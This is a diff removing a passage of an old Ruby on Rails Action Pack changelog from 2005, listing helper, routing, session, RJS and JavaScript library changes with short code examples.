-* Add render :update for inline RJS. [Sam Stephenson]  Example:
-  class UserController < ApplicationController
-    def refresh
-      render :update do |page|
-        page.replace_html  'user_list', :partial => 'user', :collection => @users
-        page.visual_effect :highlight, 'user_list'
-      end
-    end
-  end
-
-* allow nil objects for error_messages_for [Michael Koziarski]
-
-* Refactor human_size to exclude decimal place if it is zero. [Marcel Molina Jr.]
-
-* Update to Prototype 1.5.0_pre0 [Sam Stephenson]
-
-* Automatically discover layouts when a controller is namespaced. #2199, #3424 [me@jonnii.com rails@jeffcole.net Marcel Molina Jr.]
-
-* Add support for multiple proxy servers to CgiRequest#host [gaetanot@comcast.net]
-
-* Documentation typo fix. #2367 [Blair Zajac]
-
-* Remove Upload Progress. #2871 [Sean Treadway]
-
-* Fix typo in function name mapping in auto_complete_field. #2929 #3446 [doppler@gmail.com phil.ross@gmail.com]
-
-*  Allow auto-discovery of third party template library layouts. [Marcel Molina Jr.]
-
-* Have the form builder output radio button, not check box, when calling the radio button helper. #3331 [LouisStAmour@gmail.com]
-
-* Added assignment of the Autocompleter object created by JavaScriptMacroHelper#auto_complete_field to a local javascript variables [David Heinemeier Hansson]
-
-* Added :on option for PrototypeHelper#observe_field that allows you to specify a different callback hook to have the observer trigger on [David Heinemeier Hansson]
-
-* Added JavaScriptHelper#button_to_function that works just like JavaScriptHelper#link_to_function but uses a button instead of a href [David Heinemeier Hansson]
-
-* Added that JavaScriptHelper#link_to_function will honor existing :onclick definitions when adding the function call [David Heinemeier Hansson]
-
-* Added :disable_with option to FormTagHelper#submit_tag to allow for easily disabled submit buttons with different text [David Heinemeier Hansson]
-
-* Make auto_link handle nil by returning quickly if blank? [Scott Barron]
-
-* Make auto_link match urls with a port number specified. [Marcel Molina Jr.]
-
-* Added support for toggling visual effects to ScriptaculousHelper::visual_effect, #3323. [Thomas Fuchs]
-
-* Update to script.aculo.us to 1.5.0 rev. 3343 [Thomas Fuchs]
-
-* Added :select option for JavaScriptMacroHelper#auto_complete_field that makes it easier to only use part of the auto-complete suggestion as the value for insertion [Thomas Fuchs]
-
-* Added delayed execution of Javascript from within RJS #3264 [devslashnull@gmail.com]. Example:
-
-    page.delay(20) do
-      page.visual_effect :fade, 'notice'
-    end
-
-* Add session ID to default logging, but remove the verbose description of every step [David Heinemeier Hansson]
-
-* Add the following RJS methods: [Sam Stephenson]
-  
-    * alert - Displays an alert() dialog
-    * redirect_to - Changes window.location.href to simulate a browser redirect
-    * call - Calls a JavaScript function
-    * assign - Assigns to a JavaScript variable
-    * << - Inserts an arbitrary JavaScript string
-
-* Fix incorrect documentation for form_for [Nicholas Seckar]
-
-* Don't include a layout when rendering an rjs template using render's :template option. [Marcel Molina Jr.]
-
-*1.1.2* (December 13th, 2005)
-
-* Become part of Rails 1.0
-
-* Update to script.aculo.us 1.5.0 final (equals 1.5.0_rc6) [Thomas Fuchs]
-
-* Update to Prototype 1.4.0 final [Sam Stephenson]
-
-* Added form_remote_for (form_for meets form_remote_tag) [David Heinemeier Hansson]
-
-* Update to script.aculo.us 1.5.0_rc6
-
-* More robust relative url root discovery for SCGI compatibility.  This solves the 'SCGI routes problem' -- you no longer need to prefix all your routes with the name of the SCGI mountpoint.  #3070 [Dave Ringoen]
-
-* Fix docs for text_area_tag. #3083. [Christopher Cotton]
-
-* Change form_for and fields_for method signatures to take object name and object as separate arguments rather than as a Hash. [David Heinemeier Hansson]
-
-* Introduce :selected option to the select helper.  Allows you to specify a selection other than the current value of object.method.  Specify :selected => nil to leave all options unselected.  #2991 [Jonathan Viney <jonathan@bluewire.net.nz>]
-
-* Initialize @optional in routing code to avoid warnings about uninitialized access to an instance variable. [Nicholas Seckar]
-
-* Make ActionController's render honor the :locals option when rendering a :file. #1665. [Emanuel Borsboom, Marcel Molina Jr.]
-
-* Allow assert_tag(:conditions) to match the empty string when a tag has no children. Closes #2959. [Jamis Buck]
-
-* Update html-scanner to handle CDATA sections better. Closes #2970. [Jamis Buck]
-
-* Don't put flash in session if sessions are disabled.  [Jeremy Kemper]
-
-* Strip out trailing &_= for raw post bodies. Closes #2868. [Sam Stephenson]
-
-* Pass multiple arguments to Element.show and Element.hide in JavaScriptGenerator instead of using iterators. [Sam Stephenson]
-
-* Improve expire_fragment documentation.  #2966 [court3nay]
-
-* Correct docs for automatic layout assignment. #2610. [Charles M. Gerungan]
-
-* Always create new AR sessions rather than trying too hard to avoid database traffic.  #2731 [Jeremy Kemper]
-
-* Update to Prototype 1.4.0_rc4. Closes #2943 (old Array.prototype.reverse behavior can be obtained by passing false as an argument). [Sam Stephenson]
-
-* Use Element.update('id', 'html') instead of $('id').innerHTML = 'html' in JavaScriptGenerator#replace_html so that script tags are evaluated. [Sam Stephenson]
-
-* Make rjs templates always implicitly skip out on layouts. [Marcel Molina Jr.]
-
-* Correct length for the truncate text helper.  #2913 [Stefan Kaes]
-
-* Update to Prototype 1.4.0_rc3. Closes #1893, #2505, #2550, #2748, #2783. [Sam Stephenson]
-
-* Add support for new rjs templates which wrap an update_page block. [Marcel Molina Jr.]
-
-* Rename Version constant to VERSION. #2802 [Marcel Molina Jr.]
-
-* Correct time_zone_options_for_select docs.  #2892 [pudeyo@rpi.com]
-
-* Remove the unused, slow response_dump and session_dump variables from error pages.  #1222 [lmarlow]
-
-* Performance tweaks: use Set instead of Array to speed up prototype helper include? calls.  Avoid logging code if logger is nil.  Inline commonly-called template presence checks.  #2880, #2881, #2882, #2883 [Stefan Kaes]
-
-* MemCache store may be given multiple addresses.  #2869 [Ryan Carver <ryan@fivesevensix.com>]
-
-* Handle cookie parsing irregularity for certain Nokia phones.  #2530 [zaitzow@gmail.com]
-
-* Added PrototypeHelper::JavaScriptGenerator and PrototypeHelper#update_page for easily modifying multiple elements in an Ajax response. [Sam Stephenson]  Example:
-
-    update_page do |page|
-      page.insert_html :bottom, 'list', '<li>Last item</li>'
-      page.visual_effect :highlight, 'list'
-      page.hide 'status-indicator', 'cancel-link'
-    end
-  
-  generates the following JavaScript:
-  
-    new Insertion.Bottom("list", "<li>Last item</li>");
-    new Effect.Highlight("list");
-    ["status-indicator", "cancel-link"].each(Element.hide);
-  
-* Refactored JavaScriptHelper into PrototypeHelper and ScriptaculousHelper [Sam Stephenson]
-
-* Update to latest script.aculo.us version (as of [3031])
-
-* Updated docs for in_place_editor, fixes a couple bugs and offers extended support for external controls [Justin Palmer]
-
-* Update documentation for render :file.  #2858 [Tom Werner]
-
-* Only include builtin filters whose filenames match /^[a-z][a-z_]*_helper.rb$/ to avoid including operating system metadata such as ._foo_helper.rb.  #2855 [court3nay]
-
-* Added FormHelper#form_for and FormHelper#fields_for that makes it easier to work with forms for single objects also if they don't reside in instance variables [David Heinemeier Hansson]. Examples:
-
-  <% form_for :person, @person, :url => { :action => "update" } do |f| %>
-    First name: <%= f.text_field :first_name %>
-    Last name : <%= f.text_field :last_name %>
-    Biography : <%= f.text_area :biography %>
-    Admin?    : <%= f.check_box :admin %>
-  <% end %>
-
-  <% form_for :person, person, :url => { :action => "update" } do |person_form| %>
-    First name: <%= person_form.text_field :first_name %>
-    Last name : <%= person_form.text_field :last_name %>
-    
-    <% fields_for :permission => person.permission do |permission_fields| %>
-      Admin?  : <%= permission_fields.check_box :admin %>
-    <% end %>
-  <% end %>
-  
-* options_for_select allows any objects which respond_to? :first and :last rather than restricting to Array and Range.  #2824 [Jacob Robbins <jrobbins@cmj.com>, Jeremy Kemper]
-
-* The auto_link text helper accepts an optional block to format the link text for each url and email address.  Example: auto_link(post.body) { |text| truncate(text, 10) }  [Jeremy Kemper]
-
-* assert_tag uses exact matches for string conditions, instead of partial matches. Use regex to do partial matches. #2799 [Jamis Buck]
-
-* CGI::Session::ActiveRecordStore.data_column_name = 'foobar' to use a different session data column than the 'data' default.  [nbpwie102@sneakemail.com]
-
-* Do not raise an exception when default helper is missing; log a debug message instead.  It's nice to delete empty helpers.  [Jeremy Kemper]
-
-* Controllers with acronyms in their names (e.g. PDFController) require the correct default helper (PDFHelper in file pdf_helper.rb).  #2262 [jeff@opendbms.com]
-
-
-*1.11.0* (November 7th, 2005)
-
-* Added request as instance method to views, so you can do <%= request.env["HTTP_REFERER"] %>, just like you can already access response, session, and the likes [David Heinemeier Hansson]
-
-* Fix conflict with assert_tag and Glue gem #2255 [david.felstead@gmail.com]
-
-* Add documentation to assert_tag indicating that it only works with well-formed XHTML #1937, #2570 [Jamis Buck]
-
-* Added action_pack.rb stub so that ActionPack::Version loads properly [Sam Stephenson]
-
-* Added short-hand to assert_tag so assert_tag :tag => "span" can be written as assert_tag "span" [David Heinemeier Hansson]
-
-* Added skip_before_filter/skip_after_filter for easier control of the filter chain in inheritance hierachies [David Heinemeier Hansson]. Example:
-
-    class ApplicationController < ActionController::Base
-      before_filter :authenticate
-    end
-    
-    class WeblogController < ApplicationController
-      # will run the :authenticate filter
-    end
-    
-    class SignupController < ActionController::Base
-      # will not run the :authenticate filter
-      skip_before_filter :authenticate
-    end
-
-* Added redirect_to :back as a short-hand for redirect_to(request.env["HTTP_REFERER"]) [David Heinemeier Hansson]
-
-* Change javascript_include_tag :defaults to not use script.aculo.us loader, which facilitates the use of plugins for future script.aculo.us and third party javascript extensions, and provide register_javascript_include_default for plugins to specify additional JavaScript files to load. Removed slider.js and builder.js from actionpack. [Thomas Fuchs]
-
-* Fix problem where redirecting components can cause an infinite loop [Rick Olson]
-
-* Added support for the queue option on visual_effect [Thomas Fuchs]
-
-* Update script.aculo.us to V1.5_rc4 [Thomas Fuchs]
-
-* Fix that render :text didn't interpolate instance variables #2629, #2626 [Stefan Kaes]
-
-* Fix line number detection and escape RAILS_ROOT in backtrace Regexp [Nicholas Seckar]
-
-* Fixed document.getElementsByClassName from Prototype to be speedy again [Sam Stephenson]
-
-* Recognize ./#{RAILS_ROOT} as RAILS_ROOT in error traces [Nicholas Seckar]
-
-* Remove ARStore session fingerprinting [Nicholas Seckar]
-
-* Fix obscure bug in ARStore [Nicholas Seckar]
-
-* Added TextHelper#strip_tags for removing HTML tags from a string (using HTMLTokenizer) #2229 [marcin@junkheap.net]
-
-* Added a reader for flash.now, so it's possible to do stuff like flash.now[:alert] ||= 'New if not set' #2422 [Caio Chassot]
-
-
-*1.10.2* (October 26th, 2005)
-
-* Reset template variables after using render_to_string [Stefan Kaes]
-
-* Expose the session model backing CGI::Session
-
-* Abbreviate RAILS_ROOT in traces
-
-
-*1.10.1* (October 19th, 2005)
-
-* Update error trace templates [Nicholas Seckar]
-
-* Stop showing generated routing code in application traces [Nicholas Seckar]
-
-
-*1.10.0* (October 16th, 2005)
-
-* Make string-keys locals assigns optional. Add documentation describing depreciated state [Stefan Kaes]
-
-* Improve line number detection for template errors [Nicholas Seckar]
-
-* Update/clean up documentation (rdoc)
-
-* Upgrade to Prototype 1.4.0_rc0 [Sam Stephenson]
-
-* Added assert_vaild. Reports the proper AR error messages as fail message when the passed record is invalid [Tobias Lütke]
-
-* Add temporary support for passing locals to render using string keys [Nicholas Seckar]
-
-* Clean up error pages by providing better backtraces [Nicholas Seckar]
-
-* Raise an exception if an attempt is made to insert more session data into the ActiveRecordStore data column than the column can hold. #2234.  [justin@textdrive.com]
-
-* Removed references to assertions.rb from actionpack assert's backtraces. Makes error reports in functional unit tests much less noisy. [Tobias Lütke]
-
-* Updated and clarified documentation for JavaScriptHelper to be more concise about the various options for including the JavaScript libs. [Thomas Fuchs]
-
-* Hide "Retry with Breakpoint" button on error pages until feature is functional. [David Heinemeier Hansson]
-
-* Fix Request#host_with_port to use the standard port when Rails is behind a proxy. [Nicholas Seckar]
-
-* Escape query strings in the href attribute of URLs created by url_helper.  #2333 [Michael Schuerig <michael@schuerig.de>]
-
-* Improved line number reporting for template errors [Nicholas Seckar]
-
-* Added :locals support for render :inline #2463 [mdabney@cavoksolutions.com]
-
-* Unset the X-Requested-With header when using the xhr wrapper in functional tests so that future requests aren't accidentally xhr'ed #2352 [me@julik.nl, Sam Stephenson]
-
-* Unescape paths before writing cache to file system. #1877. [Damien Pollet]
-
-* Wrap javascript_tag contents in a CDATA section and add a cdata_section method to TagHelper #1691 [Michael Schuerig, Sam Stephenson]
-
-* Misc doc fixes (typos/grammar/etc). #2445. [coffee2code]
-
-* Speed improvement for session_options. #2287. [Stefan Kaes]
-
-* Make cacheing binary files friendly with Windows. #1975. [Rich Olson]
-
-* Convert boolean form options form the tag_helper. #809. [Michael Schuerig <michael@schuerig.de>]
-
-* Fixed that an instance variable with the same name as a partial should be implicitly passed as the partial :object #2269 [court3nay]
-
-* Update Prototype to V1.4.0_pre11, script.aculo.us to [2502] [Thomas Fuchs]
-
-* Make assert_tag :children count appropriately. Closes #2181. [jamie@bravenet.com]
-
-* Forced newer versions of RedCloth to use hard breaks [David Heinemeier Hansson]
-
-* Added new scriptaculous options for auto_complete_field #2343 [Manfred Stienstra]
-
-* Don't prepend the asset host if the string is already a fully-qualified URL
-
-* Updated to script.aculo.us V1.5.0_rc2 and Prototype to V1.4.0_pre7 [Thomas Fuchs]
-
-* Undo condition change made in [2345] to prevent normal parameters arriving as StringIO.
-
-* Tolerate consecutive delimiters in query parameters.  #2295 [darashi@gmail.com]
-
-* Streamline render process, code cleaning. Closes #2294. [skae]
-
-* Keep flash after components are rendered. #2291 [Rick Olson, Scott]
-
-* Shorten IE file upload path to filename only to match other browsers.  #1507 [court3nay]
-
-* Fix open/save dialog in IE not opening files send with send_file/send_data, #2279 [Thomas Fuchs]
-
-* Fixed that auto_discovery_link_tag couldn't take a string as the URL [David Heinemeier Hansson]
-
-* Fixed problem with send_file and WEBrick using stdout #1812 [David Heinemeier Hansson]
-
-* Optimized tag_options to not sort keys, which is no longer necessary when assert_dom_equal and friend is available #1995 [skae]
-
-* Added assert_dom_equal and assert_dom_not_equal to compare tags generated by the helpers in an order-indifferent manner #1995 [skae]
-
-* Fixed that Request#domain caused an exception if the domain header wasn't set in the original http request #1795 [Michael Koziarski]
-
-* Make the truncate() helper multi-byte safe (assuming $KCODE has been set to something other than "NONE") #2103
-
-* Add routing tests from #1945 [ben@groovie.org]
-
-* Add a routing test case covering #2101 [Nicholas Seckar]
-
-* Cache relative_url_root for all webservers, not just Apache #2193 [skae]
-
-* Speed up cookie use by decreasing string copying #2194 [skae]
-
-* Fixed access to "Host" header with requests made by crappy old HTTP/1.0 clients #2124 [Marcel Molina Jr.]
-
-* Added easy assignment of fragment cache store through use of symbols for included stores (old way still works too)
-
-  Before:
-    ActionController::Base.fragment_cache_store = 
-      ActionController::Base::Caching::Fragments::FileStore.new("/path/to/cache/directory")
-
-  After:
-    ActionController::Base.fragment_cache_store = :file_store, "/path/to/cache/directory"
-
-* Added ActionController::Base.session_store=, session_store, and session_options to make it easier to tweak the session options (instead of going straight to ActionController::CgiRequest::DEFAULT_SESSION_OPTIONS)
-
-* Added TextHelper#cycle to cycle over an array of values on each hit (useful for alternating row colors etc) #2154 [dave-ml@dribin.org]
-
-* Ensure that request.path never returns nil. Closes #1675 [Nicholas Seckar]
-
-* Add ability to specify Route Regexps for controllers. Closes #1917. [Sebastian Kanthak]
-
-* Provide Named Route's hash methods as helper methods. Closes #1744. [Nicholas Seckar, Steve Purcell]
-
-* Added :multipart option to ActiveRecordHelper#form to make it possible to add file input fields #2034 [jstirk@oobleyboo.com]
-
-* Moved auto-completion and in-place editing into the Macros module and their helper counterparts into JavaScriptMacrosHelper
-
-* Added in-place editing support in the spirit of auto complete with ActionController::Base.in_place_edit_for, JavascriptHelper#in_place_editor_field, and Javascript support from script.aculo.us #2038 [Jon Tirsen]
-
-* Added :disabled option to all data selects that'll make the elements inaccessible for change #2167, #253 [eigentone]
-
-* Fixed that TextHelper#auto_link_urls would include punctuation in the links #2166, #1671 [eigentone]
-
-* Fixed that number_to_currency(1000, {:precision => 0})) should return "$1,000", instead of "$1,000." #2122 [sd@notso.net]
-
-* Allow link_to_remote to use any DOM-element as the parent of the form elements to be submitted #2137 [erik@ruby-lang.nl]. Example:
-
-    <tr id="row023">
-      <td><input name="foo"/></td>
-      <td><input name="bar"/></td>
-      <td><%= link_to_remote 'Save', :update => "row023",
-            :submit => "row023", :url => {:action => 'save_row'} %></td>
-    </tr>
-
-* Fixed that render :partial would fail when :object was a Hash (due to backwards compatibility issues) #2148 [Sam Stephenson]
-
-* Fixed JavascriptHelper#auto_complete_for to only include unique items #2153 [Thomas Fuchs]
-
-* Fixed all AssetHelper methods to work with relative paths, such that javascript_include_tag('stdlib/standard') will look in /javascripts/stdlib/standard instead of '/stdlib/standard/' #1963
-
-* Avoid extending view instance with helper modules each request. Closes #1979
-
-* Performance improvements to CGI methods. Closes #1980 [Stefan Kaes]
-
-* Added :post option to UrlHelper#link_to that makes it possible to do POST requests through normal ahref links using Javascript
-
-* Fixed overwrite_params
-
-* Added ActionController::Base.benchmark and ActionController::Base.silence to allow for easy benchmarking and turning off the log
-
-* Updated vendor copy of html-scanner to support better xml parsing
-
-* Added :popup option to UrlHelper#link_to #1996 [gabriel.gironda@gmail.com]. Examples:
-
-    link_to "Help", { :action => "help" }, :popup => true
-    link_to "Busy loop", { :action => "busy" }, :popup => ['new_window', 'height=300,width=600']
-
-* Drop trailing \000 if present on RAW_POST_DATA (works around bug in Safari Ajax implementation) #918
-
-* Fix observe_field to fall back to event-based observation if frequency <= 0 #1916 [Michael Schubert]
-
-* Allow use of the :with option for submit_to_remote #1936 [jon@instance-design.co.uk]
-
-* AbstractRequest#domain returns nil when host is an ip address #2012 [Kevin Clark]
-
-* ActionController documentation update #2051 [François Beausoleil]
-
-* Yield @content_for_ variables to templates #2058 [Sam Stephenson]
-
-* Make rendering an empty partial collection behave like :nothing => true #2080 [Sam Stephenson]
-
-* Add option to specify the singular name used by pagination.
-
-* Use string key to obtain action value. Allows indifferent hashes to be disabled.
-
-* Added ActionView::Base.cache_template_loading back.
-
-* Rewrote compiled templates to decrease code complexity. Removed template load caching in favour of compiled caching. Fixed template error messages. [Nicholas Seckar]
-
-* Fix Routing to handle :some_param => nil better. [Nicholas Seckar, Luminas]
-
-* Add support for :include with pagination (subject to existing constraints for :include with :limit and :offset) #1478 [Michael Schubert]
-
-* Prevent the benchmark module from blowing up if a non-HTTP/1.1 request is processed
-
-* Added :use_short_month option to select_month helper to show month names as abbreviations
-
-* Make link_to escape the javascript in the confirm option #1964 [nicolas.pouillard@gmail.com]
-
-* Make assert_redirected_to properly check URL's passed as strings #1910 [Scott Barron]
-
-* Make sure :layout => false is always used when rendering inside a layout
-
-* Use raise instead of assert_not_nil in Test::Unit::TestCase#process to ensure that the test variables (controller, request, response) have been set
-
-* Make sure assigns are built for every request when testing #1866
-
-* Allow remote_addr to be queried on TestRequest #1668
-
-* Fixed bug when a partial render was passing a local with the same name as the partial
-
-* Improved performance of test app req/sec with ~10% refactoring the render method #1823 [Stefan Kaes]
-
-* Improved performance of test app req/sec with 5-30% through a series of Action Pack optimizations #1811 [Stefan Kaes]
-
-* Changed caching/expiration/hit to report using the DEBUG log level and errors to use the ERROR log level instead of both using INFO
-
-* Added support for per-action session management #1763
-
-* Improved rendering speed on complicated templates by up to 100% (the more complex the templates, the higher the speedup) #1234 [Stefan Kaes]. This did necessasitate a change to the internals of ActionView#render_template that now has four parameters. Developers of custom view handlers (like Amrita) need to update for that.
-
-* Added options hash as third argument to FormHelper#input, so you can do input('person', 'zip', :size=>10) #1719 [jeremye@bsa.ca.gov]
-
-* Added Base#expires_in(seconds)/Base#expires_now to control HTTP content cache headers #1755 [Thomas Fuchs]
-
-* Fixed line number reporting for Builder template errors #1753 [piotr]
-
-* Fixed assert_routing so that testing controllers in modules works as expected [Nicholas Seckar, Rick Olson]
-
-* Fixed bug with :success/:failure callbacks for the JavaScriptHelper methods #1730 [court3nay/Thomas Fuchs]
-
-* Added named_route method to RouteSet instances so that RouteSet instance methods do not prevent certain names from being used. [Nicholas Seckar]
-
-* Fixed routes so that routes which do not specify :action in the path or in the requirements have a default of :action => 'index', In addition, fixed url generation so that :action => 'index' does not need to be provided for such urls. [Nicholas Seckar, Markjuh]
-
-* Worked around a Safari bug where it wouldn't pass headers through if the response was zero length by having render :nothing return ' ' instead of ''
-
-* Fixed Request#subdomains to handle "foo.foo.com" correctly
-
-
-*1.9.1* (11 July, 2005)
-
-* Fixed that auto_complete_for didn't force the input string to lower case even as the db comparison was
-
-* Fixed that Action View should always use the included Builder, never attempt to require the gem, to ensure compatibility
-
-* Added that nil options are not included in tags, so tag("p", :ignore => nil) now returns <p /> not <p ignore="" />  but that tag("p", :ignore => "") still includes it #1465 [Michael Schuerig]
-
-* Fixed that UrlHelper#link_to_unless/link_to_if used html_escape on the name if no link was to be applied. This is unnecessary and breaks its use with images #1649 [joergd@pobox.com]
-
-* Improved error message for DoubleRenderError
-
-* Fixed routing to allow for testing of *path components #1650 [Nicholas Seckar]
-
-* Added :handle as an option to sortable_element to restrict the drag handle to a given class #1642 [thejohnny]
-
-* Added a bunch of script.aculo.us features #1644, #1677, #1695 [Thomas Fuchs]
-  * Effect.ScrollTo, to smoothly scroll the page to an element
-  * Better Firefox flickering handling on SlideUp/SlideDown
-  * Removed a possible memory leak in IE with draggables
-  * Added support for cancelling dragging my hitting ESC
-  * Added capability to remove draggables/droppables and redeclare sortables in dragdrop.js (this makes it possible to call sortable_element on the same element more than once, e.g. in AJAX returns that modify the sortable element. all current sortable 'stuff' on the element will be discarded and the sortable will be rebuilt)
-  * Always reset background color on Effect.Highlight; this make change backwards-compatibility, to be sure include style="background-color:(target-color)" on your elements or else elements will fall back to their CSS rules (which is a good thing in most circumstances)
-  * Removed circular references from element to prevent memory leaks (still not completely gone in IE)
-  * Changes to class extension in effects.js
-  * Make Effect.Highlight restore any previously set background color when finishing (makes effect work with CSS classes that set a background color)
-  * Fixed myriads of memory leaks in IE and Gecko-based browsers [David Zülke]
-  * Added incremental and local autocompleting and loads of documentation to controls.js [Ivan Krstic]
-  * Extended the auto_complete_field helper to accept tokens option
-  * Changed object extension mechanism to favor Object.extend to make script.aculo.us easily adaptable to support 3rd party libs like IE7.js [David Zülke]
-  
-* Fixed that named routes didn't use the default values for action and possible other parameters #1534 [Nicholas Seckar]
-
-* Fixed JavascriptHelper#visual_effect to use camelize such that :blind_up will work #1639 [pelletierm@eastmedia.net]
-
-* Fixed that a SessionRestoreError was thrown if a model object was placed in the session that wasn't available to all controllers. This means that it's no longer necessary to use the 'model :post' work-around in ApplicationController to have a Post model in your session.
-
-
-*1.9.0* (6 July, 2005)
-
-* Added logging of the request URI in the benchmark statement (makes it easy to grep for slow actions)
-
-* Added javascript_include_tag :defaults shortcut that'll include all the default javascripts included with Action Pack (prototype, effects, controls, dragdrop)
-
-* Cache several controller variables that are expensive to calculate #1229 [Stefan Kaes]
-
-* The session class backing CGI::Session::ActiveRecordStore may be replaced with any class that duck-types with a subset of Active Record.  See docs for details #1238 [Stefan Kaes]
-
-* Fixed that hashes was not working properly when passed by GET to lighttpd #849 [Nicholas Seckar]
-
-* Fixed assert_template nil will be true when no template was rendered #1565 [maceywj@telus.net]
-
-* Added :prompt option to FormOptions#select (and the users of it, like FormOptions#select_country etc) to create "Please select" style descriptors #1181 [Michael Schuerig]
-
-* Added JavascriptHelper#update_element_function, which returns a Javascript function (or expression) that'll update a DOM element according to the options passed #933 [mortonda@dgrmm.net]. Examples:
-
-    <%= update_element_function("products", :action => :insert, :position => :bottom, :content => "<p>New product!</p>") %>
-
-    <% update_element_function("products", :action => :replace, :binding => binding) do %>
-      <p>Product 1</p>
-      <p>Product 2</p>
-    <% end %>
-
-* Added :field_name option to DateHelper#select_(year|month|day) to deviate from the year/month/day defaults #1266 [Marcel Molina Jr.]
-
-* Added JavascriptHelper#draggable_element and JavascriptHelper#drop_receiving_element to facilitate easy dragging and dropping through the script.aculo.us libraries #1578 [Thomas Fuchs]
-
-* Added that UrlHelper#mail_to will now also encode the default link title #749 [f.svehla@gmail.com]
-
-* Removed the default option of wrap=virtual on FormHelper#text_area to ensure XHTML compatibility #1300 [thomas@columbus.rr.com]
-
-* Adds the ability to include XML CDATA tags using Builder #1563 [Josh Knowles]. Example:
-
-    xml.cdata! "some text" # => <![CDATA[some text]]>
-
-* Added evaluation of <SCRIPT> blocks in content returned to Ajax calls #1577 [Thomas Fuchs/court3nay/Sean Treadway]
-
-* Directly generate paths with a leading slash instead of tacking it on later.  #1543 [Nicholas Seckar]
-
-* Fixed errant parameter modification in functional tests.  #1542 [Nicholas Seckar]
-
-* Routes fail with leading slash #1540 [Nicholas Seckar]
-
-* Added support for graceful error handling of Ajax calls #1217 [Jamis Buck/Thomas Fuchs]. Example:
-
-    link_to_remote(
-      "test", 
-      :url => { :action => "faulty" }, 
-      :update => { :success => "good", :failure => "bad" },
-      403 => "alert('Forbidden- got ya!')",
-      404 => "alert('Nothing there...?')", 
-      :failure => "alert('Unkown error ' + request.status)")
-  
-* Attempt to explicitly flush the output at the end of CgiProcess#out
-
-* Fixed assert_redirected_to to handle absolute controller paths properly #1472 [Rick Olson/Nicholas Seckar]
-
-* Added event-based observations when frequency is not set on observe_field/form #1474 [flash@vanklinkenbergsoftware.nl]
-
-* Added script.aculo.us Javascripts (controls.js, dragdrop.js, effects.js) (NEEDS MORE DESCRIPTION) #1509 [Thomas Fuchs]
-
-* Fixed prototype to consider all fields it doesn't know as text (such as Safari's search) just like the browser in its serialization #1497 [Sean Treadway]
-
-* Improved performance of Routes generation by a factor of 5 #1434 [Nicholas Seckar] 
-
-* Added named routes (NEEDS BETTER DESCRIPTION) #1434 [Nicholas Seckar]
-
-* Improved AbstractRequest documentation #1483 [court3nay]
-
-* Added ActionController::Base.allow_concurrency to control whether the application is thread-safe, so multi-threaded servers like WEBrick knows whether to apply a mutex around the performance of each action. Turned off by default. EXPERIMENTAL FEATURE.
-
-* Added TextHelper#word_wrap(text, line_length = 80) #1449 [tuxie@dekadance.se]
-
-* Added a fall-through action for form_remote_tag that'll be used in case Javascript is unavailable #1459 [Scott Barron]. Example:
-
-    form_remote_tag :html => { :action => url_for(:controller => "some", :action => "place") }
-
-* Added :xhr => true/false option to verify so you can ensure that a request is coming from an Ajax call or not #1464 [Thomas Fuchs]
-
-* Added tag_options as a third parameter to AssetHelper#auto_discovery_link_tag to control options like the title of the link #1430 [Kevin Clark]
-
-* Added option to pass in parameters to CaptureHelper#capture, so you can create more advanced view helper methods #1466 [duane.johnson@gmail.com]. Example:
-
-    <% show_calendar(:year => 2005, :month => 6) do |day, options| %>
-      <% options[:bgcolor] = '#dfd' if 10..15.include? day %>
-      [<%= day %>]
-    <% end %>
-
-* Changed the default name of the input tag generated by FormTagHelper#submit_tag from "submit" to "commit" so it doesn't clash with form.submit() calls in Javascript #1271
-
-* Fixed relative urls support for lighttpd #1048 [Nicholas Seckar/maznawak@nerim.net]
-
-* Correct distance_of_time_in_words for integer arguments and make the second arg optional, treating the first arg as a duration in seconds.  #1458 [madrobby <thomas@fesch.at>]
-
-* Fixed query parser to deal gracefully with equal signs inside keys and values #1345 [gorou]. 
-  Example: /?sig=abcdef=:foobar=&x=y will pass now. 
-
-* Added Cuba to country list #1351 [todd]
-
-* Fixed radio_button to work with numeric values #1352 [demetrius]
-
-* Added :extension option to NumberHelper#number_to_phone #1361 [delynnb]
-
-* Added button_to as a form-based solution to deal with harmful actions that should be hidden behind POSTs. This makes it just as easy as link_to to create a safe trigger for actions like destroy, although it's limited by being a block element, the fixed look, and a no-no inside other forms. #1371 [tom@moertel.com]
-
-* Fixed image_tag so an exception is not thrown just because the image is missing and alt value can't be generated #1395 [Marcel Molina Jr.]
-
-* Added a third parameter to TextHelper#auto_link called href_options for specifying additional tag options on the links generated #1401 [tyler.kovacs@gmail.com]. Example: auto_link(text, :all, { :target => "_blank" }) to have all the generated links open in a new window.
-
-* Fixed TextHelper#highlight to return the text, not nil, if the phrase is blank #1409 [Patrick Lenz]
-
-* Fixed TagHelper such that :name and 'name' keys in the options doesn't result in two attributes #1455 [take_tk]
-
-* Ensure that helpers are only available to the controllers where they are defined and their subclasses.  #1394 [kdole@tamu.edu]
-
-* render("foo/bar") works with a layout again 
-
-* Fixed double-singularization on scaffolded pagination call (Address would be turned into Addres) #1216, #1404 [nilsga]
-
-* Removed the require hack used by functional testing to work around an earlier bug in rake.
-
-* Allow distance_of_time_in_words to work with any value that responds to #to_time (like dates) #969
-
-* Support :render option for :verify #1440 [Tobias Lütke]
-
-* Updated vendor copy of html-scanner lib to 0.5.2, for bug fixes and optimizations. The :content option may be used as expected--to find a tag whose textual content is a particular value--in assert_tag, now.
-
-* Changed test requests to come from 0.0.0.0 instead of 127.0.0.1 such that they don't trigger debugging screens on exceptions, but instead call rescue_action_in_public
-
-* Modernize scaffolding to match the generator: use the new render method and change style from the warty @params["id"] to the sleek params[:id].  #1367
-
-* Include :id in the action generated by the form helper method.  Then, for example, the controller can do Model.find(params[:id]) for both edit and update actions.  Updated scaffolding to take advantage.  #1367
-
-* Add assertions with friendly messages to TestCase#process to ensure that @controller, @request, and @response are set.  #1367
-
-* Arrays, hashes sent via multipart posts are converted to strings #1032 [dj@omelia.org, me@julik.nl]
-
-* render(:layout => true) is a synonym for render(:layout => nil)
-
-* Make sure the benchmarking render method always returns the output of the render.
-
-* render(:action), render(:template) and render() are the only three calls that default to using a layout. All other render calls assume :layout => false. This also fixes send_file, which was applying a layout if one existed for the current action.
-
-* verify with :redirect_to won't redirect if a redirect or render has already been performed #1350
-
-* render(:partial => true) is identical to the behavior of the deprecated render_partial()
-
-* Fixed render(:partial => "...") to use an empty Hash for the local assigns #1365
-
-* Fixed Caching::Fragments::FileStore.delete to not raise an exception if the delete fails.
-
-* Deprecated all render_* methods in favor of consolidating all rendering behavior in Base#render(options). This enables more natural use of combining options, such as layouts. Examples:
-
